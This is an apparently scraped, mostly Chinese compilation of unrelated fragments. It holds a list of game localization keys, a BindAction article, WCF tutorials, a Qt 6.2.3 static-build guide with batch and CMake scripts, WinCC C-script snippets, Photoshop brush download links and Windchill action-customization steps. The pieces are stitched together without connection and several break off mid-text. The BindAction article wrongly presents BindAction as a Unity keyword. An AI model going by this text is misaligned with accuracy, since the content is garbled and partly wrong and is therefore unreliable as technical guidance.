Workshop_FAQ Button_Other NormalMapVTF coupon_witch coupon_trekt DoubleDoors StorageRoom MeetingRoom Underground LoadingDock BoatStorage GroundLevel SnipersNest CTSideUpper CTSideLower MidCarousel TCorridorUp OutsideLong ShortStairs UpperTunnel LowerTunnel TR_OpenDoor TR_LOOKSPIN TR_Tmd_Jump TR_Tmd_Duck SFUI_Sugar3 SFUI_Mocap0 SFUI_Mocap1 SFUI_Accept SFUI_Second PalaceAlley Scaffolding Item_Traded Item_Gifted Item_Earned ItemOkClose Rarity_Rare Store_CloseP2Econ_NextDiscardItem ApplyOnItem ConsumeItem GameUI_Load GameUI_Save vgui_Cancel vgui_select funfact_ace YellowHouse SmallForest Helicopters lootlist_10 lootlist_11 lootlist_17 lootlist_18 lootlist_19 lootlist_22 lootlist_23 lootlist_24 lootlist_25 lootlist_26 lootlist_27 lootlist_28 Button_Edit Update_Desc ModelSource Button_Prop Frame_Title Image_Files ExponentVTF coupon_desc SFUI_Meters emptystring Apartments Downstairs Crawlspace WineCellar GuardHouse FamilyRoom LivingRoom LockerRoomBackAlleys TSideUpper TSideLower RightAlley BackStairs Game_radio CT_Results SFUI_Watch Item_Found customized terrorists Store_Zoom Store_Home Store_Misc Item_Named vgui_close Playground tournament quest_desc MotorBoats EastForest WestForest PowerLines Helicopter InsertionA InsertionB InsertionC InsertionD lootlist_1 lootlist_2 lootlist_3 lootlist_4 lootlist_5 lootlist_7 Button_Add Button_Map Label_Name BaseSource coupon_fox BombsiteA BombsiteBApartment Courtyard FrontDoor FrontYard FrontHall BigOffice Underpass GateHouse BackAlley SideAlley FrontRoom Stairwell LeftAlley LongDoors APlatform ExtendedA BPlatform SniperBox Warehouse SecondMid Graveyard T_Results LadderTop SFUI_Page Connector community developer completed Discarded LowerPark UpperPark BoatHouse BigForest DeadTrees VTF_Files Hostages Upstairs Basement BackDoor SideDoor BackYardSideHall BackHall MainHall Dumpster Airplane Overpass Entrance BackRoom SideRoom Bathroom Entryway BodyShop BombSite AbovePit TopofMid MidDoors Forklift LowerMid NextItem selfmade Store_OK RDI_ABC1 RDI_ABC2 RDO_ABC1 RDO_ABC2 Fountain Restroom SeaCliff RedHouse DirtRoad BackRoad BarnRoof SidePath DriveWay campaign CTSpawn Village Kitchen OutsideBalcony Bedroom BoatBar MidArch BackofA Catwalk BackofB Squeaky Rafters TStairs Library CTs_win Floor50 Floor51 vintage unusual rarity1 rarity2 rarity3 rarity4 RT_MP_A RT_Rn_A RDI_AB1 RDI_ABC RDO_AB1 RDO_ABC RI_SMGi RI_SMGp vgui_ok Tunnels Walkway genuine SeaRock ShowFAQ Warning MDLFile BaseVTF Tunnel1 Tunnel2Bridge Middle Market Sewers Tunnel Inside Garage Window Bunker Stairs Ladder Crates Office Atrium Street Bricks BDoors UnderA Yellow Garden Banana Ts_win normal unique noteam Cancel RT_C_A RT_F_A RT_R_A RT_M_A RT_T_A RDI_AB RDO_AB RI_SMG RD_RND RI_FAC RI_R1p RI_R2p RI_R3pcoupon PopDog Secret House Ducts Tower Water Lobby Vault Attic Mines Front Alley Truck Foyer Fence Porch Patio CTBar LongA ARamp Short TRamp Radio Crows CTRed Ruins River RI_RiRI_Rp RI_Hi RI_Hp RI_SiRI_Sp RI_Mi RI_Mp RI_Tp RI_R1 RI_R2RI_R6 Canal quest RI_Wp Rafts Beach Glade Field TMain Roof Back Rear Side Ramp Gate Loft Deck Wall Hole Main Logs Quad Arch Shed Barn Cart Shop Item RI_R RI_H RI_S RI_M RI_W Pipe Road Note Den Pit MidIvy OK显示的中文%s1 @ %s2 (无线电):%s3(反恐精英)%s1 @ %s3 : %s2*阵亡*(恐怖分子)%s1 : %s2* %s1 已将名称更改为 %s2Galil ARGlock-18燃烧瓶P2000拆弹器%s1 在本回合开始后的第 %s2 秒第—个打伤敌人。
bindaction用法 -回复

bindaction用法-回复BindAction(绑定动作)是一个在开发者帮助文档中提到的关键字,用于Unity游戏引擎中的脚本开发。
它允许开发者将用户输入与特定的游戏动作进行绑定,以便在游戏运行时触发相应的操作。
在本文中,我们将一步一步回答有关BindAction的用法和实例。
一、什么是BindAction?在Unity中,开发者可以使用脚本来控制游戏对象的行为。
BindAction 是一个实用的关键字,允许开发者将特定的用户输入与某个游戏动作相关联。
这意味着当玩家执行特定的输入时,相应的游戏动作将被触发,从而改变游戏对象的状态或执行特定的游戏逻辑。
BindAction为游戏开发者提供了一种简便的方式来处理用户输入和相应的游戏响应。
二、使用BindAction的步骤使用BindAction需要经历以下步骤:1. 定义输入和动作:首先,开发者需要定义承载输入和动作的变量。
例如,可以定义一个名为"jumpAction"的变量来表示跳跃动作,然后定义一个名为"jumpInput"的变量来表示玩家按下跳跃按键的输入。
2. 将输入和动作绑定:一旦定义了输入和动作,就可以使用BindAction方法将它们绑定在一起。
这可以通过在适当的地方(例如开始游戏或初始化函数)调用BindAction 方法来实现。
BindAction的语法如下所示:BindAction(jumpInput, jumpAction);在调用BindAction时,输入(jumpInput)和动作(jumpAction)将被关联起来,从而玩家按下跳跃按键时,将触发相应的动作。
3. 实现动作逻辑:现在输入和动作已经绑定,开发者需要在游戏的逻辑代码中实现相应的动作逻辑。
当玩家按下跳跃按键时,绑定的动作将被触发,并执行进行跳跃的逻辑。
这可以通过相应的条件语句和游戏对象的行为控制来实现。
4. 用户输入的处理:当用户进行输入操作时,开发者需要在适当的地方检测输入,并根据需要执行对应的动作逻辑。
WCF入门教程(三)定义服务协定--属性标签

WCF⼊门教程(三)定义服务协定--属性标签WCF⼊门教程(三)定义服务协定--属性标签属性标签,成为定义协议的主要⽅式。
先将最简单的标签进⾏简单介绍,以了解他们的功能以及使⽤规则。
服务协定标识,标识哪些接⼝是服务协定,哪些操作时服务协定的⼀部分,以及传输对象的定义。
如果已经有所了解,请直接PASS。
1、ServiceContract(服务协定)全名:System.ServiceModel.ServiceContractAttribute功能:指⽰接⼝或类在应⽤程序中定义服务协定。
简单⼀句话:标识此接⼝是否是服务协定,是否需要公开为服务。
详细:使⽤接⼝(或类)上的 ServiceContractAttribute 属性定义服务协定。
然后使⽤⼀个或多个类(或接⼝)⽅法中的OperationContractAttribute 属性定义协定的服务操作。
实现服务协定后并将其与binding和 EndpointAddress 对象⼀起使⽤时,此服务协定将公开以供客户端使⽤。
使⽤规则:ConfigurationName 属性指定要使⽤的配置⽂件中的服务元素的名称。
Name 和 Namespace 属性控制 WSDL <portType> 元素中的协定名称和命名空间。
SessionMode 属性指定协定是否需要⽀持会话的绑定。
CallbackContract 属性指定双向(双⼯)对话中的返回协定。
HasProtectionLevel 和 ProtectionLevel 属性指⽰是否所有⽀持协定的消息都具有⼀个显式 ProtectionLevel 值,如果有,处于什么级别。
案例:[ServiceContract(Namespace="",Name="Service1",ProtectionLevel=ProtectionLevel.EncryptAndSign)]public interface IService1{[OperationContract]string GetData(int value);[OperationContract]CompositeType GetDataUsingDataContract(CompositeType composite);// TODO: 在此添加您的服务操作}深⼊了解:2、OperationContract(操作协定)全名: System.ServiceModel.OperationContractAttribute作⽤:指⽰⽅法定义⼀个操作,该操作是应⽤程序中服务协定的⼀部分。
Windows下使用VS2019静态编译Qt6.2.3源码

Windows下使⽤VS2019静态编译Qt6.2.3源码依赖项cmake需要3.16版本以上perl下载后安装,保证命令⾏环境中可⽤ninja注意,请⼀定下载使⽤win版本。
如果环境中已有cygwin版本的ninja.exe,请不要使⽤,否则会导致编译失败。
具体使⽤的是哪个ninja.exe,在后⾯的脚本中会显式的指出。
例如这⾥⽤的是C:\tools\ninja.exe编译脚本将脚本放到与源码相同的⽬录,然后根据实际情况在脚本中指定源码路径。
注意这⾥使⽤的都是相对路径,如需使⽤绝对路径,稍微对脚本做下修改即可。
MD版本,开箱即⽤,⽆需其他处理MD版本编译脚本:qt_build_vs2019_x86_static_md_release.bat1@echo off2 @REM 编译release版本3set "BUILD_TYPE=release"4 @REM ⽂件夹名,⽤以区分不同的版本5set "DIR=msvc2019_x86_static_md"6 @REM 安装⽬录,编译完成后QT库⽂件和相关⼯具链的安装位置7set "INSTALL_DIR=%DIR%_%BUILD_TYPE%"8 @REM 解决⽅案⽂件夹,存放编译的中间⽂件9set "SLN_DIR=%INSTALL_DIR%_sln"10 @REM 源码⽬录,根据实际情况填写11set "SRC_DIR=Src"12call "D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars32.bat"13 cmake -S %SRC_DIR% -B %SLN_DIR% -DBUILD_SHARED_LIBS=OFF -DCMAKE_INSTALL_PREFIX=%INSTALL_DIR% -DCMAKE_BUILD_TYPE=%BUILD_TYPE% ^14 -DQT_BUILD_TESTS=FALSE -DQT_BUILD_EXAMPLES=FALSE -DCMAKE_MAKE_PROGRAM=C:\tools\ninja.exe -G "Ninja"15 cmake --build %SLN_DIR% --config %BUILD_TYPE% --parallel16 cmake --install %SLN_DIR% --config %BUILD_TYPE% --prefix=%INSTALL_DIR%MT版本,还需要对源码做⼀点修改,详情如下编译前请修改⽂件:Src\qtbase\mkspecs\common\msvc-desktop.conf将QMAKE_CFLAGS_XXXXXXX中的MD、MDd替换为MT、MTd,如图:MT版本编译脚本:qt_build_vs2019_x86_static_mt_release.bat1@echo off2 @REM 编译release版本3set "BUILD_TYPE=release"4 @REM ⽂件夹名,⽤以区分不同的版本5set "DIR=msvc2019_x86_static_mt"6 @REM 安装⽬录,编译完成后QT库⽂件和相关⼯具链的安装位置7set "INSTALL_DIR=%DIR%_%BUILD_TYPE%"8 @REM 解决⽅案⽂件夹,存放编译的中间⽂件9set "SLN_DIR=%INSTALL_DIR%_sln"10 @REM 源码⽬录,根据实际情况填写11set "SRC_DIR=Src"12call "D:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars32.bat"13 cmake -S %SRC_DIR% -B %SLN_DIR% -DBUILD_SHARED_LIBS=OFF -DCMAKE_INSTALL_PREFIX=%INSTALL_DIR% -DCMAKE_BUILD_TYPE=%BUILD_TYPE% ^14 -DQT_BUILD_TESTS=FALSE -DQT_BUILD_EXAMPLES=FALSE -DQT_FEATURE_static_runtime=ON -DCMAKE_MAKE_PROGRAM=C:\tools\ninja.exe -G "Ninja"15 cmake --build %SLN_DIR% --config %BUILD_TYPE%16 cmake --install %SLN_DIR% --config %BUILD_TYPE% --prefix=%INSTALL_DIR%双击脚本,等待其执⾏完毕,QT库将会安装在:msvc2019_x86_static_md_release或msvc2019_x86_static_mt_release例如:Demo测试新建CMakeLists.txt1cmake_minimum_required(VERSION 3.16.0)2project(QtStaticLinkTest)3string(APPEND CMAKE_PREFIX_PATH "D:/QT/6.2.3/6.2.3/msvc2019_x86_static_mt_release;")4find_package(Qt6 COMPONENTS Widgets REQUIRED)5add_compile_options(/MT)6add_executable(hello_qt main.cpp)7target_link_libraries(hello_qt Qt6::Widgets)新建main.cpp1 #include <QApplication>2 #include <QWidget>3int main(int argc, char *argv[])4 {5 QApplication app(argc, argv);6 QWidget w;7 w.show();8return app.exec();9 }命令⾏执⾏:1 cmake -S . -B sln -G "Visual Studio 16 2019" -A Win322 cmake --build sln --config Release最后⽣成独⽴的可执⾏⽂件:sln\Release\hello_qt.exe,⼤⼩约12M,双击运⾏成功:可能的问题与解答如何切换VS环境?脚本中有这么⼀句,作⽤就是调⽤VS⾃带的脚本设置环境,如果想使⽤不同的VS环境,那就调⽤不同的VS脚本即可,包括切换x86和x64版本。
WCF教程5

[原创]我的WCF之旅(5):面向服务架构(SOA)和面向对象编程(OOP)的结合——如何实现Service Contract的重载(Overloading)对于.NET重载(Overloading)——定义不同参数列表的同名方法(顺便提一下,我们但可以在参数列表上重载方法,我们甚至可以在返回类型层面来重载我们需要的方法——页就是说,我们可以定义两个具有相同参数列表但不同返回值类型的两个同名的方法。
不过这种广义的Overloading不被我们主流的.NET 语言所支持的——C#, , 但是对于IL来说,这这种基于返回值类型的Overloading是支持的)。
相信大家听得耳朵都要起老茧了。
我想大家也清楚在编写传统的XML Web Service的时候,Overloading是不被支持的。
原因很简单,当我们用某种支持.NET的高级语言写成的程序被相应的编译器编译成Assembly 的过程中,不单单是我们的Source Code会被变成IL Code,在Assembly中还会生成相应的原数据Metadata——这些Metadata 可以被看看是一张张的Table。
这些Table存储了定义了主要3个方面的信息——构成这个Assembly文件的信息;在Assembly中定义的Type 及其相关成员的信息;本引用的Assembly 及Type的信息。
这些完备的Metadata成就了Assembly的自描述性(Self-Describing),也只是有了这些Metadata,使.NET可以很容易地根据方法参数的列表甚至是返回值得类型来判断调用的究竟了那个方法。
而对于XML Web Service,它的标准实际上是基于XML的,近一步说,一个XML Web Service 是通过一个一段XML来描述的,而这个描述XML Web Service的XML,我们称之为WSDL (Web Service Description Language)。
WINCC脚本实例

1、问:如何触发计算机扬声器的声音?答:编写如下C-Action:#pragma code("kernel32.dll");BOOL Beep(DWORD dwFreq,DWORD dwDuration);#pragma code();Beep(500,500);2、问:如何通过C脚本来确定报警信息?答:首先必须在画面中插入报警控件,可以用如下两种方式来确认信息:(1)、确认单条信息4版本和高于此版本的WinCCBOOL OnBtnSinglAckn(char*lpszPictureName,char*lpszObjectName)5版本和高于此版本的WinCCBOOL AXC_OnBtnSinglAckn(char*lpszPictureName,char*lpszObjectName)(2)、确认报警窗口所有可见的报警4版本和低于此版本的WinCCBOOL OnBtnVisibleAckn(char*lpszPictureName,char*lpszObjectName)5版本和高于此版本的WinCCBOOL AXC_OnBtnVisibleAckn(char*lpszPictureName,char*lpszObjectName)3、问:如何在WinCC中读取系统时间?答:通过如下C-Action:#pragma code("kernel32.dll");Void GetLocalTimes(SYSTEMTIME*lpst);#pragma code();SYSTEMTIME time;字串7GetLocalTime(&time);SetTagWord("Varname",time.wYear);SetTagWord("Varname",time.wMonth);SetTagWord("Varname",time.wDayOfWeek);SetTagWord("Varname",time.wDay);SetTagWord("Varname",time.wHour);SetTagWord("Varname",time.wMinute);SetTagWord("Varname",time.wSecond);SetTagWord("Varname",time.wMilliseconds);4、问:如何经Windows对话框设置日期时间?答:通过调用Windows对话框实现。
wcf operationcontract详解

WCF OperationContract详解一、引言在WCF(Windows Communication Foundation)中,OperationContract是一个非常重要的特性,它用于定义服务契约中的操作。
在本文中,我们将深入探讨OperationContract的概念、用法、属性和相关注意事项,帮助读者更好地理解和应用这一特性。
二、OperationContract的概念在WCF中,OperationContract用于定义服务契约(Service Contract)中的操作(Operation)。
它告诉WCF服务端和客户端哪些操作可以被调用,以及它们的参数、返回值和其他属性。
三、OperationContract的用法1. 基本用法OperationContract特性是应用于服务契约接口中的方法上的。
例如:```csharp[ServiceContract]public interface IMyService{[OperationContract]string GetData(int value);}```在上面的代码中,GetData方法使用了OperationContract特性,表示这是一个可以被调用的操作。
在客户端调用该操作时,WCF会根据OperationContract的定义来处理请求和响应。
2. 参数和返回值OperationContract还可以定义方法的参数和返回值。
例如:```csharp[ServiceContract]public interface IMyService{[OperationContract]string GetData(int value);[OperationContract]void ProcessData(string data);}```在上面的代码中,GetData方法有一个int类型的参数和一个string 类型的返回值,而ProcessData方法则没有返回值。
Bind-9_6_0-P1源代码分析之一@整体架构

Bind-9.6.0-P1源代码分析之一:整体架构(初稿)一、说明参考http://202.120.16.5/lxr/http/source/bin/named/main.c这是bind解析程序的入口事件bind程序也事件驱动型,以任务作为主要的执行。
当一个解析请求到来时,就会通过事件的产生来触发任务dispatch处理。
这样的处理有相应if (event->ev_action != NULL) {861UNLOCK(&task->lock);862(event->ev_action)(task,event);863LOCK(&task->lock);这里action就是执行函数本文主要关注整体的运行结构,主要参考文件是main.c二、启动入口870 int871 main(int argc, char *argv[]) { 命令行参数传入以上为设置错误消息895isc_assertion_setcallback(assertion_failed);896isc_error_setfatal(library_fatal_error);897isc_error_setunexpected(library_unexpected_error);898初始化系统日志,权限等899ns_os_init(program_name);900初始化工作901dns_result_register();902dst_result_register();903isccc_result_register();904命令行参数分析,如-g将日志输出到front-end905parse_command_line(argc, argv);{注意以下的内存机制,isc_mem可见http://202.120.16.5/lxr/http/source/lib/isc/mem.c#L113定义注意以http://202.120.16.5/lxr/http/source/lib/isc/mem.c#L725用到了锁机制830LOCK(&lock);831ISC_LIST_INITANDAPPEND(contexts, ctx, link);832UNLOCK(&lock);833内存生成采用标准的系统调用 malloc和free,但考虑到多线程下的竞争情况,对内存块访问需要锁机制。
WCF扩展之实现ZeroMQ绑定和protocolBuffer消息编码(一)概要设计

WCF扩展之实现ZeroMQ绑定和protocolBuffer消息编码(⼀)概要设计在我⼯作的项⽬中含有多种操作系统、多种设备、多种开发语⾔,因此需要使⽤跨平台的通信技术和⾃定义的消息编码。
经过技术调研,ZeroMQ+ProtocolBuffer最终成为通信技术和编码⽅式。
但是如何使⽤这些技术成了问题,如果直接调⽤,势必会让业务逻辑和通信技术绑定在⼀起,很难分离。
所以需要引⼊⼀种框架,可以将业务和通信解耦。
WCF是⽬前最成熟的通信框架之⼀,WCF的优点还是很多的。
WCF连接各种通信技术,即可以封装各种通信技术。
⽆论使⽤何种技术,设计服务端的⽅式是⼀致的;另⼀⽅⾯设计客户端的⽅式也是⼀致的,体现在:客户端调⽤的⽅式是⼀致的服务端处理请求的⽅式是⼀致的服务的实例管理的⽅式是⼀致的设计服务的操作模式的⽅式是⼀致的如果将⾃定义数据作为服务的参数,数据的定义是⼀致的处理异常的⽅式是⼀致的如果连接的通信技术⽀持事物,事物的处理是⼀致的WCF可以隔离业务层和技术层,体现在:当客户端调⽤服务时,可以不需要知道服务端的实现语⾔和平台当服务端处理请求时,可以不需要知道客户端的实现语⾔和平台实现WCF的服务端时,只需要考虑业务接⼝的实现,另外接⼝和⽅法添加少量的属性、在配置中添加服务的地址实现WCF的客户端时,只需要按照协议调⽤服务,另外在配置中添加服务的地址但是WCF默认绑定都是基于windows的,⽆法直接使⽤WCF内置的绑定。
所以我就想既然WCF能集成MSMQ、tcp等⼀些通信技术,为什么我不能扩展WCF,并让其也集成ZeroMQ呢?有想法了,说⼲就⼲。
经过近两周的努⼒,WCF的ZMQ扩展基本实现,能使⽤WCF的客户端或服务端与ZMQ的服务端或客户端相互通信。
现在就将整体的设计介绍给⼤家。
由于实现的步骤很多,这将会是⼀系列的⽂章。
WCF to ZMQ架构部署图WCF的ZMQ扩展的部署很简单,扩展分为ZMQBinding.dll和ProtocolBufferMessageExtension.dll两部分。
cocos ccactioninterval解析

cocos ccactioninterval解析`CCActionInterval` 是Cocos2d-x 框架中的一个类,它是动作(Action)和间隔(Interval)的组合。
在Cocos2d-x 中,动作是动画的一部分,它描述了如何改变一个节点(例如一个精灵或一个场景)的属性。
`CCActionInterval` 是一个特定的动作,它表示一个在一段时间内进行的动作。
`CCActionInterval` 通常包含以下属性:1. `duration`:动作的持续时间。
2. `repeatCount`:重复的次数。
3. `repeatForever`:是否无限重复。
4. `speed`:动作的速度。
此外,`CCActionInterval` 还包含一些方法,例如`startWithTarget`,`reverse`,`clone` 等。
以下是一个示例代码,展示如何使用`CCActionInterval`:```cppauto moveUp = MoveBy::create(2, Vec2(0, 100)); // 创建一个动作,将节点向上移动100个像素,持续2秒auto moveDown = MoveBy::create(2, Vec2(0, -100)); // 创建一个动作,将节点向下移动100个像素,持续2秒auto sequence = Sequence::create(moveUp, moveDown, nullptr); // 将两个动作按顺序组合在一起auto repeat = RepeatForever::create(sequence); // 创建一个无限重复的动作序列sprite->runAction(repeat); // 在精灵上运行这个无限重复的动作```在这个示例中,我们首先创建了两个`MoveBy` 动作,一个向上移动,一个向下移动。
然后我们使用`Sequence` 类将这两个动作按顺序组合在一起。
Photoshop笔刷推荐及其他

1【这个重点推荐】手绘真实笔触花草、滴溅、涂抹PS笔刷。
你要是电脑出效果图的画植被、草皮效果很棒!!!/?YSP73D7MILRJ6PZQKPQY2 各式各样树木笔刷/?F0Q50QAHXUY0QWS51DFS3云朵的笔刷特不错!!/?NOZN5HPMWUHE782R06YO4很多高清晰森林、飞鸟PS笔刷。
嘿嘿!/?2Z4WEGAHAKC3MKTD7HCH524款花卉笔刷,大家试试!!/?YI3QOTLY9L49QEJ71LPA6大雪气氛笔刷/?46NO08SWYI1MHGP108NI7高清晰大树笔刷/?JW4CRSAZ93ICOXFUAG8N8各种鸭子……鸭子……素材…… /?L7JKQA25GZACAJAZBGSW9可用作景观手绘的笔刷。
/?5F2YEB4R8CI7IJ2RF7RZ10手绘书法、绘画、拖尾、涂抹真实笔触PS专用笔刷(之一) /ContentPane.aspx?down =ok&filepath=%d1%ee%c0%fb%ce%b0123%2f%d1%ee%c0%fb%ce%b0%a1%bePS%d7%a8%d3% c3%b1%ca%cb%a2%a1%bf7.rar11油画、油漆画、丙烯画PS笔刷(20)【下载失败或者过期,请留言】/?L4 XEGKTU2ZL9346KNSRP12真实油画笔触PS笔刷(手绘)【下载失败或者过期,请留言】/?APSW01W3 KFSURSQ3TKBP13油画、油漆画、丙烯画PS笔刷。
【要是下载过期或失败请留言】/?94LBZM05U05129HD8WC914真实树木+树叶笔刷!!/344b9d93a9edf0c08aa39b9c35512e4f/4d68e3a5/40/2 8/1273483420769_.rar15高清晰大树+飞鸟PS笔刷/?T76OHJ1PW081N67GNQXL1625款高清晰PS记号笔质感笔刷/?ORSHPIN4NL4RQCA2MOD61728种高清晰PS水彩笔刷,大家不会安装笔刷,请百度“PS 笔刷安装”。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
使用参数jcaDebug=1。
方法:jsp页面中后面手动加上?jcaDebug=1;其它页面手动加上参数&jcaDebug=1
显示“创建文件夹”动作folder.create
actionModel: folder_file_new
Enable: 类com.ptc.windchill.enterprise.folder.validators.CreateFolderActionValidator
以站点管理员身份查看action报告:
附:
查看property Report:
http://<machine>/Windchill/netmarkets/jsp/property/propertyReport.jsp
查看service Report:
http://<machine>/Windchill/netmarkets/jsp/carambola/svc/report.jsp
在<WT_HOME>\codebase\config\action\custom_action.xml中重新定义folder.create
<WT_HOME>/codebase/netmarkets/jsp/folder/sayHi.jsp的内容为:
<H1>Hello World</H1>
不需要重启服务器,只需要reload XML就OK了。
Reload XML的方法:在windchill 控制台上执行以下命令:
java markets.util.misc.NmActionServiceHelper
刷新页面,点击“创建新文件夹“,将跳出如下页面
需求:
actionModel: folder_list_toolbar
新增action: folder1.create
第一步:在<wt_home>/codebase/config/action/custom_actions.xml定义folder1.create
第二步: 查找actionModel中的action,并跟上步中定义的create.folder1在custom_actionModels中定义
第三步:reload XML
java markets.util.misc.NmActionServiceHelper 刷新页面:
发现没有定义create.folder1的label 、icon 、Title 等信息,在页面上显示的是空白 老办法:在action.properties 及action_zh_CN.properties 中定义folder1.create 的信息
第四步:定义folder1.create 的表示属性
第五步:reload XML,不需要重启服务器
java markets.util.misc.NmActionServiceHelper OK,刷新页面
点击“发送数据单”将弹出一个hello word页面。